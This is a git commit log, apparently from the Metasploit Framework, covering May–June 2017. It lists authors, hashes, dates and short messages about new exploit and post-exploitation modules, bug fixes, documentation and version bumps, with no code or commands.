Brent Cook
f96f61d29e
enhance module info to be on par with pro RPC interface
2017-06-21 08:36:49 -05:00
Spencer McIntyre
717f9aad12
Add more OSX Railgun defs and better CDECL support
2017-06-21 08:59:42 -04:00
OJ
a9e03c1efd
Initial working version of AES encryption of TLVs
2017-06-21 21:01:59 +10:00
Tim
bd286c415c
Land #8590 , fix activerecord warning
2017-06-21 17:16:34 +08:00
Brent Cook
ebfd920222
document why
2017-06-21 03:13:43 -05:00
Brent Cook
22db17a87a
bind ruby-pg back to version 0.20
2017-06-21 03:11:11 -05:00
Brent Cook
d81d0ea4ba
print a friendlier status msg
2017-06-21 03:09:42 -05:00
Brent Cook
b9904572f9
update winpmem dump handler for 64-bit support
2017-06-21 03:02:50 -05:00
Pearce Barry
24d9bec0ae
Land #8260 , OpManager Version Check
2017-06-20 17:58:10 -05:00
Pearce Barry
700d392106
Add markdown docs.
2017-06-20 17:45:44 -05:00
Pearce Barry
241786e71f
Update description with tested versions.
2017-06-20 15:32:08 -05:00
Pearce Barry
14f0409c6c
Missing regex '+', readding so we get full API key.
2017-06-20 15:28:15 -05:00
darkbushido
e873c87f0b
trying rspec-retry
2017-06-20 14:02:32 -05:00
Pearce Barry
b02719e795
Attempt to appease Travis...
2017-06-20 11:36:08 -05:00
Brendan Coles
e20169c428
Disable VMware hint popups
2017-06-20 11:39:57 +00:00
OJ
2129959d2d
Begin rework of packet handling
...
This moves some of the packet-specific stuff to the packet class itself
2017-06-20 19:18:37 +10:00
Brendan Coles
668aa4edaf
Use WfsDelay
2017-06-20 08:56:33 +00:00
Mzack9999
c7a55ef92f
Added exploit documentation
2017-06-20 09:03:40 +02:00
Brendan Coles
4f6eab102f
Code cleanup
2017-06-20 00:55:33 +00:00
Brendan Coles
1bd7a0ea2a
Replace tabs with spaces
2017-06-20 00:06:50 +00:00
Mzack9999
af4eb0fbe3
Corrected shellcode
2017-06-20 00:55:18 +02:00
Mzack9999
0b04dc0584
Correct EDB Number
2017-06-20 00:52:29 +02:00
Pearce Barry
3cd28b28e2
Land #8569 , Add ability to specify API token instead of password
2017-06-19 17:42:35 -05:00
Mzack9999
bc826cb824
Easy Chat Server From 2.0 to 3.1 - Buffer Overflow (SEH) exploit
2017-06-20 00:36:59 +02:00
Pearce Barry
58cd432120
Added docs, minor code tweak to remove duplication.
2017-06-19 17:35:41 -05:00
James Lee
700dfee963
Land #8584 , remove meterpreter TLVs for dead code
2017-06-19 15:56:15 -05:00
Pearce Barry
c0efb7bc76
Land #8573 , Adapted the authentitcity_token scheme
2017-06-19 15:45:20 -05:00
David Maloney
722d9a278c
Land #8580 , cachedump iteration count fix
...
lands rogdham's fixes for the ms cache dump post module
2017-06-19 14:04:07 -05:00
David Maloney
27469f8fac
Land #8582 , Rogdham Hashdump fixes
...
Land's Rogdham's fixes to the Hashdump post module
to support Windows 10!
2017-06-19 13:40:40 -05:00
David Maloney
6d38dffbe1
convert conditionals to case statements
...
just a little tidying up by using case statements
2017-06-19 13:40:00 -05:00
h00die
071dc09b1f
fix spelling
2017-06-19 10:31:24 -05:00
Spencer McIntyre
f7c133cdf7
Add OSX support to railgun
2017-06-19 11:11:55 -04:00
OJ
cec87a3e4f
Start of support for AES packet encryption
2017-06-19 22:27:51 +10:00
NickTyrer
681f9f37a6
updated check if powershell is available
2017-06-19 08:35:57 +01:00
OJ
a48f0fcec6
Remove references to Meterpreter CRYPTO TLVs
...
This feature wasn't supported, and so the TLVs are no longer needed.
2017-06-19 16:53:33 +10:00
NickTyrer
096469a8ec
added PROCESS persistence method
2017-06-18 20:42:07 +01:00
Rogdham
a01796d114
Make hashdump module work on Windows 10, fix #7936
2017-06-18 16:35:17 +02:00
Brendan Coles
cf8cf564b2
Add VMware Workstation ALSA Config File Privesc module
2017-06-18 11:16:25 +00:00
L3cr0f
23831e6df9
Upload requested changes
2017-06-18 11:34:58 +02:00
Tim
03116d7933
Land #8543 , add error handling to ARM linux reverse tcp stager
2017-06-18 15:38:16 +08:00
Tim
210a4cb299
fix indent
2017-06-18 15:35:23 +08:00
mccurls
8c23769cbc
Updated module to use an instance variable for using HTTP session tokens across functions.
2017-06-18 12:59:34 +10:00
Mzack9999
7fb36edd50
corrected msftidy warnings
2017-06-17 22:58:47 +02:00
Mzack9999
31a5cc94b2
Easy File Sharing HTTP Server 7.2 - Post Overflow exploit
2017-06-17 22:35:21 +02:00
Rogdham
75fab600c5
Add iteration count to cachedump module, fix #8560
2017-06-17 22:23:41 +02:00
mccurls
19ceb53304
Modified payload handling and uploaded documentation
2017-06-18 02:04:22 +10:00
NickTyrer
6096e373cc
removed whitespace
2017-06-17 10:44:30 +01:00
NickTyrer
85173f36f7
moved exploit method moved to top
...
added logon persistence option
fixed typo
cleaned up formatting
2017-06-17 10:30:38 +01:00
Rogdham
86f5f3f002
Fix AES key length in cachedump module, fix #8525
2017-06-17 11:20:29 +02:00
Brendan Coles
b82051757d
Add SurgeNews User Credentials scanner module
2017-06-17 01:49:47 +00:00
h00die
c9e000e379
add new version
2017-06-16 20:59:19 -04:00
h00die
41e96f9ff1
updated docs
2017-06-16 20:54:25 -04:00
RageLtMan
42d1fae2e6
Upstream console search additions and fixes
...
The -S flag for console commands, backed by search functionality
in Rex' tables, originally pushed upstream in #1604 (iirc), lacks
coverage for a number of commands which benefit a good deal from
inline filtering of the potentially large number of results.
Push more -S flags and surrounding table functionality upstream
to provide coverage for the console commands included in framework.
Include a fix for deleting hosts when DB references are a problem.
Include a fix for the upstream route command wherein scope must be
defined for the routing target by assuming a /32 without explicit
definition.
Note:
With this in place, console behavior when filtering results is
roughly analagous to the R7 filtering in web UI, which should help
those of us trying to use both maintain corresponding workflows.
Testing:
Used in-house for years, though changes to the diff from upstream
and our fork (expunging some internal code) are untested, so would
appreciate eyes and hands on.
2017-06-16 20:28:51 -04:00
mccurls
07051d1f00
Removed whitespace
2017-06-17 09:59:46 +10:00
mccurls
8eb59eac3f
Stuffed up regex.. left some random $ characters floating around and have now removed them.
2017-06-17 08:03:09 +10:00
mccurls
6363a319d2
Fixed Typo
2017-06-17 07:32:17 +10:00
mccurls
6245a91281
Merge branch 'master' of https://github.com/mccurls/metasploit-framework
2017-06-17 07:26:54 +10:00
mccurls
b34bf76fea
Adding GoAutoDial RCE module
2017-06-17 07:22:41 +10:00
root
3b97bf3ddf
Adding GoAutoDial RCE module
2017-06-17 06:28:03 +10:00
William Webb
652e237131
add missing .to_binary_s calls
2017-06-16 13:39:04 -05:00
Metasploit
9ce0bb9345
Bump version of framework to 4.14.28
2017-06-16 10:02:07 -07:00
SecureAB
ef7434b59b
added new authentitcity_token scheme
2017-06-16 16:54:38 +02:00
h00die
f008f2aa8f
working code
2017-06-16 08:24:54 -04:00
h00die
e005e51f05
some edits finished
2017-06-16 06:48:31 -04:00
tkmru
1773a5f188
fix indent
2017-06-16 15:57:09 +09:00
@tkmru
4647f3410a
Merge pull request #1 from timwr/fix-8543
...
fix mmap return cmp
2017-06-16 15:30:02 +09:00
Brent Cook
55b71e115f
Land #8535 , MSGRPC module minor fixes
2017-06-15 21:44:34 -05:00
thesubtlety
49d998f7d9
catch invalid tokens
2017-06-15 21:45:29 -04:00
Brent Cook
53253bfa37
Land #8558 , Fix AMT scanner when parsing mangled HTML
2017-06-15 20:42:33 -05:00
OJ
f4158eeac9
Land #8568 : Move php_preamble before $ipaddr and $port
2017-06-16 11:16:30 +10:00
thesubtlety
f4ffade406
add ability to specify API token instead of password
2017-06-15 21:05:53 -04:00
William Vu
5f74da9023
Move php_preamble before $ipaddr and $port
...
php_preamble contains a <?php tag now, so we need to move it to the top.
2017-06-15 19:50:57 -05:00
OJ
c634931f0d
Updated payload cached size after the python3 fix
2017-06-16 09:05:31 +10:00
OJ
2c0f41ee8f
Fix session guid handling in python 3
...
I made the mistake of using str.decode() which isn't a thing in python3
(works fine in 2). So this commit fixes it so that the GUID string
itself is generated directly as a byte string, so that the call to
decode() isn't needed at all.
2017-06-16 09:01:29 +10:00
Tim
9cf9d22bae
fix mmap return cmp
2017-06-16 06:26:40 +08:00
Pearce Barry
9d57197736
Land #8551 , Update processmaker_exec module with workspace support
2017-06-15 17:12:35 -05:00
Brendan Coles
414f440d62
Add documentation
2017-06-15 21:12:09 +00:00
Brendan Coles
0e38823a8f
Add NNTP Login Utility scanner module
2017-06-15 20:25:40 +00:00
Pearce Barry
cab64fc8b2
Land #8564 , Fix cryptolog desc
2017-06-15 13:39:56 -05:00
Tod Beardsley
49383f8f3a
Update and fix grammar to the CryptoLog module
...
After talking to the vendor, it appears that the PHP version of CryptoLog has been EOL'ed since 2009. It has since been replaced with an ASP.NET version, which, obviously, is no longer vulnerable to these PHP exposures.
2017-06-15 13:00:44 -05:00
Tod Beardsley
b6fd0ce5e3
Merge pull request #16 from rapid7/master
...
Resync with upstream
2017-06-15 12:55:18 -05:00
h00die
46ffd250a0
module working and docs
2017-06-14 21:15:56 -04:00
William Vu
549f9e74d8
Fix AMT scanner for mangled HTML (no </p>)
...
Also stores proof using the correct :info for report_vuln (not :proof).
2017-06-14 16:54:32 -05:00
Mehmet Ince
c147779097
Add CVE number to the symantec-messaging-gateway-exec module
2017-06-14 23:07:58 +03:00
James Lee
c1372456e2
Land #8326 , support LLMNR ANY responses
2017-06-14 14:01:44 -05:00
Pearce Barry
e64fcfc6f1
Land #8534 , Fix nessus_template_list command argument parsing
2017-06-14 08:29:30 -05:00
OJ
64bf6910e2
Remove SSL support from windows reverse_tcp payloads
2017-06-14 22:04:25 +10:00
h00die
c35dffc648
first draft of oinkcode
2017-06-14 08:04:17 -04:00
RageLtMan
32fbad7fca
Style changes for cmd_ps cleanup
2017-06-14 01:28:21 -04:00
James Lee
55f0edb732
Land #8491 , fixes for service_persistence
2017-06-13 17:17:53 -05:00
Brendan Coles
0766f92013
Add option for workspace
2017-06-13 12:46:36 +00:00
Jeffrey Martin
cbbb57d1a5
Land #8526 , Refactor QNAP and airOS modules for creds
2017-06-12 14:46:11 -05:00
William Vu
a40e7164d8
Refactor QNAP module for traditional creds
2017-06-12 14:41:58 -05:00
William Vu
bb9d1a6768
Land #8507 , Riverbed SteelHead VCX file read
2017-06-12 10:39:48 -05:00
Pearce Barry
704a1218fa
Land #8498 , store more specific credential wordpress_directory_traversal_dos
2017-06-12 10:13:52 -05:00
Pearce Barry
80e91e9de2
Minor fixups.
2017-06-12 09:51:30 -05:00
Metasploit
0515980138
Bump version of framework to 4.14.27
2017-06-12 07:39:14 -07:00
RageLtMan
762427b447
Clean up cmd_ps table output for Mettle
...
Mettle can run in all sorts of environments where some colums of a
process table will be nil. The existing implementation compacts
rows going into the table while providing filtering for the colum
contents only by checking the output of the first row in the proc
table.
Check column filters against all rows to ensure proper table init.
Check columns going into table for match against header.
Do not compact nil values in the table rows - some things, like
kthreads/workers dont have a path while other PIDs will.
2017-06-12 01:20:59 -04:00
tkmru
93c4b3fffc
update CacheSize
2017-06-12 01:39:13 +09:00
tkmru
1862900aae
add error handling
2017-06-12 01:36:13 +09:00
tkmru
17d7bb0c64
add label and regster value to comment
2017-06-11 20:38:47 +09:00
h00die
a349eb9a0d
fixes per peer review
2017-06-10 14:29:53 -04:00
Mehmet Ince
6ae540d889
Adding Symantec messaging gateway rce
2017-06-10 12:23:12 +03:00
Brent Cook
bf674263f3
Land #8533 , record vulnerability attempts
2017-06-09 17:52:49 -05:00
Mykhailo Danylenko
d5a7b292c1
Fix nessus_list_templates command argument parsing
2017-06-10 01:24:10 +03:00
TheNaterz
40fafaa270
dereference the service from the service manager
2017-06-09 16:24:01 -06:00
Jeffrey Martin
2b6f823a1b
store vuln attempt when reported
2017-06-09 12:46:39 -05:00
TheNaterz
adfd6ff978
fixed warnings created by load->unload->load msgrpc
2017-06-09 11:41:46 -06:00
Metasploit
77b1125e77
Bump version of framework to 4.14.26
2017-06-09 10:03:35 -07:00
David Maloney
c89fee89db
Land #8529 , RPC Session Arch
...
Lands pr adding Session arch to info
returned by rpc
2017-06-09 11:58:19 -05:00
OJ
c4288fb35a
Update branch to include chances from upstream/master
2017-06-09 17:18:57 +10:00
OJ
a3f3dc0a70
Upload payloads/mettle gems, update cache sizes
...
Updated both the metasploit-payload and metasploit-payload-mettle gems
to the versions that match for the session GUID pull requests. Updated
the payload cached sizes to match the new payloads.
2017-06-09 17:15:52 +10:00
William Vu
56fbf4c339
Land #8532 , metasploit-credential version bump
2017-06-09 02:08:01 -05:00
Brent Cook
153611e9fa
bump metasploit-credential to allow handling string addresses gracefully
2017-06-09 01:43:45 -05:00
Brent Cook
06a789f777
Land #8530 , Update ms17_010_eternalblue description and ranking
2017-06-09 01:30:33 -05:00
Stephen Shkardoon (ss23)
a968a74ae0
Update ms17_010_eternalblue description and ranking.
...
The module has been noted to cause crashes, reboots, BSOD, etc, on
some systems.
2017-06-09 11:01:48 +12:00
TheNaterz
c3b2476a51
add arch to rpc session details
2017-06-08 16:26:13 -06:00
Brent Cook
aa00661fd0
Land #8518 , update CVE references where modules report_vuln
2017-06-08 13:38:12 -05:00
William Vu
3e20296cf5
Add service_details for SSH
2017-06-08 13:28:29 -05:00
William Vu
e22334343e
Use store_valid_credential in my modules
...
I used report_note because using the creds API was a pain in the ass.
2017-06-08 00:57:51 -05:00
William Vu
4198efa41f
Remove pry from CommandDispatcher::Creds...
...
My bad. Should have been caught in #8517 .
2017-06-08 00:18:46 -05:00
OJ
eef82a501d
Add support for session GUIDs in mettle
2017-06-08 11:20:48 +10:00
Harvey Phillips
4278339869
Added multi-file support for torrc and use locate instead of find when searching
2017-06-07 20:08:23 +01:00
bwatters-r7
99fa52e660
Land #8434 , Add Windows 10 Bypassuac fodhelper module
2017-06-07 11:15:01 -05:00
William Vu
3e27fd3db4
Land #8517 , CommandDispatcher::Common
...
Also fixes jobs -i.
2017-06-07 03:20:45 -05:00
William Vu
596924552e
Fix literal \n in jobs -i
...
Regression from #4063 .
2017-06-07 03:19:30 -05:00
Spencer McIntyre
a052ee4064
Use the opts hash not the datastore
2017-06-06 20:02:06 -04:00
OJ
6131e4bd82
Fix download lambda function to take correct param count
...
This is an emergency fix as a result of something being broken in
master. This is also being pushed straight to master because github is
down and the PR process isn't possible. This commit was reviewed by
@wvu-r7 prior to being pushed.
2017-06-07 09:37:24 +10:00
Spencer McIntyre
834e0eba95
Land #8340 , add exception handling for rev_tcp_ssl
2017-06-06 19:09:15 -04:00
Spencer McIntyre
a953d94f61
Minor white space cleanups for PR #8340
2017-06-06 19:07:55 -04:00
Harvey Phillips
71fde14b6c
Linux post module to grab TOR hidden service hostnames and private keys
2017-06-06 22:29:14 +01:00
Alexandre Maloteaux
e5e3be3046
Merge pull request #3 from bwatters-r7/land-8434
...
Rubocop readability changes
2017-06-06 22:09:53 +01:00
Harvey Phillips
f557aa3c9c
Linux post module to search for and grab TOR hidden service configurations
2017-06-06 21:59:02 +01:00
Anderson
d641058f75
Added module to exploit ActiveMQ CVE-2016-3088
2017-06-06 11:33:42 -07:00
Jeffrey Martin
b932aae82e
reference typo fix
2017-06-06 11:50:07 -05:00
Brent Cook
bac17a8e80
Land #8053 , Add DC/OS Marathon UI Exploit
2017-06-06 09:29:26 -05:00
NickTyrer
09e4974b99
removed whitespace at end of lines
2017-06-06 14:44:37 +01:00
NickTyrer
1831056010
updated disclosure date
2017-06-06 14:32:19 +01:00
Brent Cook
3ded57e1cd
Land #8516 , add verbose debug to ntds dumper
2017-06-06 07:26:54 -05:00
Brent Cook
0830e4aaa5
Land #8503 , Linux x86 reverse_tcp error handling
2017-06-06 06:36:55 -05:00
OJ
37b9cd07a2
Add support for the session GUID in the UI
...
The Session GUID will identify active sessions, and is the beginning of
work that will allow for tracking of sessions that have come back alive
after failing or switching transports.
2017-06-06 17:15:57 +10:00
Tim
871c30c0b3
refactor stdapi and lanattacks to use filter_commands
2017-06-06 14:05:07 +08:00
Tim
e9c9c852ab
check_commands -> filter_commands
2017-06-06 13:56:38 +08:00
bwatters-r7
f0f21891ad
Land #8512 , Enable adaptive download with variable block sizes
2017-06-05 18:46:24 -05:00
Brent Cook
385daddb9d
Land #8499 , doc header consistency fixes
2017-06-05 17:40:15 -05:00
Jeffrey Martin
1558db375d
update CVE reference in where modules report_vuln
2017-06-05 16:36:44 -05:00
David Maloney
42aa2e5acf
add some attempts at debugging to ntds
...
add some logging and more status outputs to the
NTDS domain hasdump. Also force the encoding on
strings to UTF8
2017-06-05 15:21:50 -05:00
bwatters-r7
f47cc1a101
Rubocop readability changes
2017-06-05 14:32:45 -05:00
darkbushido
f4013b02e1
renaming db_common to common
...
this moves the following methods into common
arg_host_range ( used in creds and db )
arg_port_range ( used in creds and db )
set_rhosts_from_addrs ( used in creds and db )
show_options ( used in jobs and modules )
2017-06-05 14:19:18 -05:00
Pearce Barry
851adf4987
Land #8515 , Rpcbomb DoS Module
2017-06-05 14:13:49 -05:00
Pearce Barry
bc3b883758
Add docs, fix typo, add missing report mixin to avoid error.
2017-06-05 13:49:59 -05:00
Brent Cook
a5805a55dc
make this a UDPScanner, rewrite
2017-06-05 12:39:48 -05:00
NickTyrer
994995671e
added wmi_persistence module
2017-06-05 17:44:37 +01:00
Pearce Barry
8c39c92245
Add description and loop capability.
2017-06-05 11:27:13 -05:00
Pearce Barry
a571834c4d
Initial commit of rpcbomb DoS aux module.
...
This just brings the code in as-in, next step is to update to use our mixins and such.
2017-06-05 10:23:39 -05:00
Brent Cook
91c337b776
Land #8508 , fix 32-bit to 64-bit process migration on AMD cpus
2017-06-05 08:45:46 -05:00
Brent Cook
5f10e63923
bump payloads
2017-06-05 08:43:16 -05:00
Brent Cook
47ca9cd6fc
Merge remote-tracking branch 'upstream/master' into land-8508-
2017-06-05 08:41:27 -05:00
Tim
7625d36c1c
fix #8199 , check extapi for dependencies
2017-06-05 14:56:59 +08:00
Brent Cook
8c35e54934
Land #8495 , Expand multi-handler for generic http(s) sessions
2017-06-04 20:21:32 -05:00
h00die
de86c5d991
add storing creds and loot name consistency
2017-06-04 17:46:43 -04:00
RaMMicHaeL
f17b28930d
Update executex64.asm
2017-06-04 13:18:50 +03:00
tkmru
737f7452ce
add my name to author
2017-06-04 04:42:45 +09:00
itsmeroy2012
39cee481c1
Making changes similar to the reverse_tcp payload
2017-06-03 22:57:59 +05:30
L3cr0f
6a3fc618a4
Add bypassuac_injection_winsxs.rb module
2017-06-03 12:59:50 +02:00
RaMMicHaeL
ca5b20f4d0
Fixed an elusive bug on AMD CPUs
...
Details:
http://blog.rewolf.pl/blog/?p=1484
rwfpl/rewolf-wow64ext@8771485
2017-06-03 11:30:11 +03:00
h00die
ea5db9a039
working module
2017-06-02 23:09:19 -04:00
William Vu
e7fa4c2d06
Land #8504 , print_good for ipmi_dumphashes
2017-06-02 18:49:41 -05:00
tkmru
e175bcda08
update cachedSize
2017-06-03 08:37:18 +09:00
h00die
b9aef557f0
land #8502 add cve number for java_rmi_server
2017-06-02 19:37:18 -04:00
Dylan Davis
34e9b2c04b
Change ipmi_dumphashes to have non-verbose output, ever
2017-06-02 14:27:21 -06:00
tkmru
82a83af6c2
add error handling to x86 linux reverse tcp
2017-06-03 04:04:55 +09:00
Jeffrey Martin
2924318ca5
update java_rmi_server modules with CVE
2017-06-02 12:59:48 -05:00
Metasploit
92a65f5c63
Bump version of framework to 4.14.25
2017-06-02 10:03:44 -07:00
OJ
cc0ff8f3db
Enable adaptive download with variable block sizes
...
The aim of this commit is to allow users of Meterpreter in high-latency
environments have better control over the behaviour of the download
function. This code contains two new options that manage the block size
of the downloads and the ability to set "adaptive" which means that the
block size will adjust on the fly of things continue to fail.
2017-06-02 17:16:58 +10:00
William Vu
abeececb46
Land #8493 , creds -R fix with DbCommon
2017-06-01 14:19:16 -05:00
Brendan Coles
24505f91de
Add documentation
2017-06-01 06:03:10 +00:00
h00die
4eb86cae99
add L3 header for version under scenarios
2017-05-31 21:22:44 -04:00
h00die
1c23be91a7
sample output to scenarios conversion in docs
2017-05-31 21:21:38 -04:00
h00die
44c9292f92
Land #8485 docs for snare_registry
2017-05-31 20:51:01 -04:00
h00die
609b131e46
Land #8482 docs for processmaker_exec
2017-05-31 20:39:43 -04:00
Jeffrey Martin
d68365d8df
store more specific credential wordpress_directory_traversal_dos
2017-05-31 18:55:35 -05:00
bwatters-r7
6161fbacb0
Land #8488 , Leverage ruby_smb and add authenticated smb session
2017-05-31 15:15:29 -05:00
Jeffrey Martin
ccf54f464c
Expand multi-handler for generic http(s) sessions
2017-05-31 14:35:18 -05:00
Brendan Coles
218ec96009
Add IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution module
2017-05-31 13:00:35 +00:00
h00die
361cc2dbeb
fix newline issue and service call
2017-05-30 22:37:26 -04:00
h00die
f98b40d038
adds check on service writing before running it
2017-05-30 22:14:49 -04:00
Brendan Coles
31975b49ec
Update docs
2017-05-31 02:04:40 +00:00
Brendan Coles
30f652eb5c
Update docs
2017-05-31 01:46:18 +00:00
darkbushido
2682874652
fixing a busted -R on creds search
...
I broke this when moving creds to its own file.
2017-05-30 15:56:51 -05:00
Jeffrey Martin
0e145573fc
more httpClient modules use store_valid_credential
2017-05-30 14:56:05 -05:00
David Maloney
3ee77d1b50
update ruby_smb version
2017-05-30 14:17:51 -05:00
David Maloney
d5e74ffdf3
Merge branch 'master' into feature/eternal_blue/rubysmb_refactor
2017-05-30 13:59:31 -05:00
David Maloney
a5f910ea63
move trans2 conditional to case statement
...
this is cleaner as a case statement
2017-05-30 13:52:29 -05:00
David Maloney
b65c959347
limited port of the trans2 exploit packets
...
ported some of the Trans2 packets for EternalBlue
over to RubySMB, but there is so much jacked up about these
packets I'm not sure we can do much more here
2017-05-30 13:49:27 -05:00
William Vu
9d82e5a9fd
Land #8487 , fixups for ETERNALBLUE DCE/RPC code
2017-05-30 13:18:08 -05:00
William Vu
72ff4fbf48
Reword warning message, since it didn't make sense
2017-05-30 13:13:08 -05:00
William Vu
890d35cc30
Fix warning placement to be more helpful
2017-05-30 13:06:23 -05:00
David Maloney
e9ac3fce5a
update credential mode for EB exploit
...
ExternalBlue can now just flat out take
credentials to authenticate with. If credentials
are not supplied then it will still do the
anonymous login.
2017-05-30 10:55:28 -05:00
Metasploit
0c792798a7
Bump version of framework to 4.14.24
2017-05-30 07:26:35 -07:00
wolfthefallen
9c93aae412
Removed self.class from register
2017-05-30 10:07:07 -04:00
Brent Cook
43ac76ee2b
Fix #8464 , use pathname when determining where .git is
2017-05-30 08:56:10 -05:00
Brent Cook
b05fa9c01e
add missing dirname
2017-05-30 08:50:43 -05:00
wolfthefallen
bac23757a4
Updated based on busterb comments
2017-05-30 09:33:03 -04:00
Brent Cook
beb1cef835
rescue connection failure for netbios, suggest how to fix it
2017-05-30 08:06:39 -05:00
Brendan Coles
5042b04ff8
Add documentation
2017-05-30 09:29:01 +00:00
Brendan Coles
475510787d
Add documentation
2017-05-30 08:40:57 +00:00
Tim
32a83e0d30
update macho check for 32bit + fat
2017-05-30 14:00:24 +08:00
Brent Cook
ee57c7188e
Land #8470 , remove broken check for invalid options
2017-05-30 00:35:46 -05:00
Brent Cook
ea6063138a
Land #8476 , Implement VerifyArch for ETERNALBLUE
2017-05-30 00:31:32 -05:00
Brent Cook
a01a2ead1a
Land #8467 , Samba CVE-2017-7494 Improvements
2017-05-30 00:15:03 -05:00
Brent Cook
28fb5cc7da
spelling
2017-05-30 00:14:33 -05:00
Brent Cook
e31e3fc545
add additional architectures and targets
2017-05-30 00:07:37 -05:00
William Vu
a781480e89
Add error handling to get_once
...
And check for specific ack result/reason for 32-bit.
2017-05-29 22:28:50 -05:00
William Vu
6e253a5be7
Use Rex::Proto::DCERPC::Response
2017-05-29 21:58:03 -05:00
h00die
5698896672
Land #8323 wordpress pre4.6 dos
2017-05-29 07:59:43 -04:00
h00die
eb87185e25
fixed up docs format
2017-05-29 07:59:06 -04:00
William Vu
42b14a93b8
Add comments
2017-05-28 23:45:09 -05:00
William Vu
7a2944d113
Implement VerifyArch for ETERNALBLUE
2017-05-28 23:26:59 -05:00
h00die
8d3eebf394
Land #8473 aux admin tool to get scadabr creds from db
2017-05-28 20:09:47 -04:00
Brendan Coles
c811c6a8c0
Add PASS_FILE option
2017-05-28 23:26:51 +00:00
root
72a5142e37
Update directory traversal DoS module and docs
2017-05-29 00:30:23 +02:00
HD Moore
66f06cd4e3
Fix small typos in comments
2017-05-28 14:40:33 -05:00
Spencer McIntyre
4e29b6e5fd
Land #8275 , add retry opts for py rev_tcp stager
2017-05-28 13:02:35 -04:00
Spencer McIntyre
2ca53eaebf
Minor white space cleanups for PR #8275
2017-05-28 12:59:06 -04:00
itsmeroy2012
e02d726213
Setting default values to the added options
2017-05-28 14:30:30 +05:30
Brendan Coles
2c3d5bd786
Add documentation
2017-05-28 04:51:39 +00:00
HD Moore
965915eb19
Fix typo, thanks!
2017-05-27 22:22:34 -05:00
Brendan Coles
dfb5806dcb
Add documentation
2017-05-28 03:08:45 +00:00
Brendan Coles
8fce94b3cd
Add ScadaBR Credentials Dumper module
2017-05-28 01:24:53 +00:00
HD Moore
38491fd7ba
Rename payloads with os+libc, shrink array inits
2017-05-27 19:50:31 -05:00
HD Moore
b7b0c26f4a
Reduce minimum GLIBC versions where we can
2017-05-27 19:28:41 -05:00
HD Moore
f9ecdf2b4d
Add some bonus archs for interact mode
2017-05-27 17:26:50 -05:00
HD Moore
41253ab32b
Make msftidy happy
2017-05-27 17:17:20 -05:00
HD Moore
184c8f50f1
Rework the Samba exploit & payload model to be magic.
2017-05-27 17:03:01 -05:00
Brent Cook
b7620e13a3
remove special case check for invalid options
2017-05-27 00:53:14 -05:00
Brent Cook
3aa862bc67
Fix #8464 , update specs
2017-05-27 00:35:20 -05:00
Brent Cook
11b99d954d
update specs
2017-05-27 00:34:12 -05:00
Brent Cook
ec5a3ab088
Land #8444 , disable cucumber test for now, ensure rspec tests run
2017-05-27 00:17:11 -05:00
Brendan Coles
018e544295
Add VICIdial user_authorization Unauthenticated Command Execution module
2017-05-27 05:09:38 +00:00
Brent Cook
11b3fd9067
Land #8468 , Update system info after running getsystem
2017-05-26 23:37:00 -05:00
Brent Cook
59ab73b9a9
Land #8464 , Fix upstream packager issues with msfupdate, git
2017-05-26 23:32:32 -05:00
Brent Cook
71404f736e
update gem licenses
2017-05-26 23:20:04 -05:00
Brent Cook
dbaa4000d7
git is no longer needed to build an image
2017-05-26 23:08:13 -05:00
Brent Cook
63ae70f061
remove pry/method_source git binding, this is not a vital update
2017-05-26 23:03:44 -05:00
Brent Cook
ce9cfa5727
bit-struct updated, no need for my branch anymore
2017-05-26 23:00:21 -05:00
Brent Cook
1a8f84083c
data/gui has not existed in a long time
2017-05-26 22:57:59 -05:00
Brent Cook
c73cd8248e
whine more uniformly
2017-05-26 22:57:59 -05:00
Brent Cook
0f832fd4d1
skip generating gem file contents if this is not a git checkout
2017-05-26 22:57:59 -05:00
Brent Cook
ab6b5f381d
msfupdate is no longer a distributed binary, it's a dev tool
2017-05-26 22:57:59 -05:00
Brent Cook
c58d8afa2f
redirect msfupdate users on Kali
2017-05-26 22:57:59 -05:00
HD Moore
78d649232b
Remove obsolete module options
2017-05-26 21:21:05 -05:00
TheNaterz
53cbbbacd8
getsystem update session info
2017-05-26 17:28:11 -06:00
HD Moore
123a03fd21
Detect server-side path, work on Samba 3.x and 4.x
2017-05-26 17:02:18 -05:00
HD Moore
eebfd9b7f2
Switch to the mixin-provided SMB share enumeration methods
2017-05-26 17:02:06 -05:00
HD Moore
e8b5cc3397
Avoid a stacktrace by verifying that the share is known
2017-05-26 17:01:44 -05:00
HD Moore
8caaba01f1
Add share enumeration methods to the SMB mixin
2017-05-26 17:01:18 -05:00
David Maloney
ee5f37d2f7
remove nt trans raw sock op
...
don't send the nt transact packet as raw
socket data, instead use the client send_recv
method
2017-05-26 15:50:18 -05:00
William Webb
d4ba28a20b
Land #8457 , Update multi/fileformat/office_word_macro to allow custom templates
2017-05-26 15:09:23 -05:00
David Maloney
f0f99ad479
nttrans packet setup correctly,everything broken
...
got the nttrans packet setup correctly but somewhere
along the line i broke the whole exploit wtf?
2017-05-26 14:54:46 -05:00
Renato Piccoli
ab8326755d
Travis: disable the failing tests. #8444
...
They have not been executed for a while.
TODO: re-enable them when they succeed again.
2017-05-26 21:25:56 +02:00
Renato Piccoli
a91c954361
Fix .travis.yml
...
- Try to update the bundler before using it.
- Use single quotes (') around the variable definition.
- Echo the final command right before running it.
- Call bash to run the final command.
2017-05-26 21:25:55 +02:00
William Webb
f176315942
Land #8462 , Remove deprecated windows/fileformat/office_word_macro
2017-05-26 13:38:02 -05:00
h00die
06ccd17d49
land #8466 update to docs for is_known_pipename
2017-05-26 14:14:01 -04:00
h00die
b3a5a8840b
added ubuntu information
2017-05-26 14:10:26 -04:00
David Maloney
b3e99ee9d2
point to local gem copy for testing and dev
...
remove this later, use a local copy of rubysmb
2017-05-26 12:30:19 -05:00
Metasploit
15b3b7de41
Bump version of framework to 4.14.23
2017-05-26 10:02:14 -07:00
root
9b9d2f2345
Final version of configurable depth
2017-05-26 16:23:22 +02:00
root
33ddef9303
Add documentation, add configurable depth path
2017-05-26 16:14:03 +02:00
wchen-r7
162a660d45
Remove the old windows/fileformat/office_word_macro
...
windows/fileformat/office_word_macro.rb has been deprecated and
it should have been removed on March 16th.
If you want to create a Microsoft Office macro exploit, please
use the multi/fileformat/office_word_macro exploit instead, which
supports multiple platforms, and will support template injection.
2017-05-26 07:33:46 -05:00
wchen-r7
04a701dba5
Check template file extension name
2017-05-26 07:31:34 -05:00
HD Moore
072ab7291c
Add /tank (from ryan-c) to search path
2017-05-26 06:56:41 -05:00
Tim
1582d3a902
support i386
2017-05-26 15:55:42 +08:00
Tim
a9e6df6f15
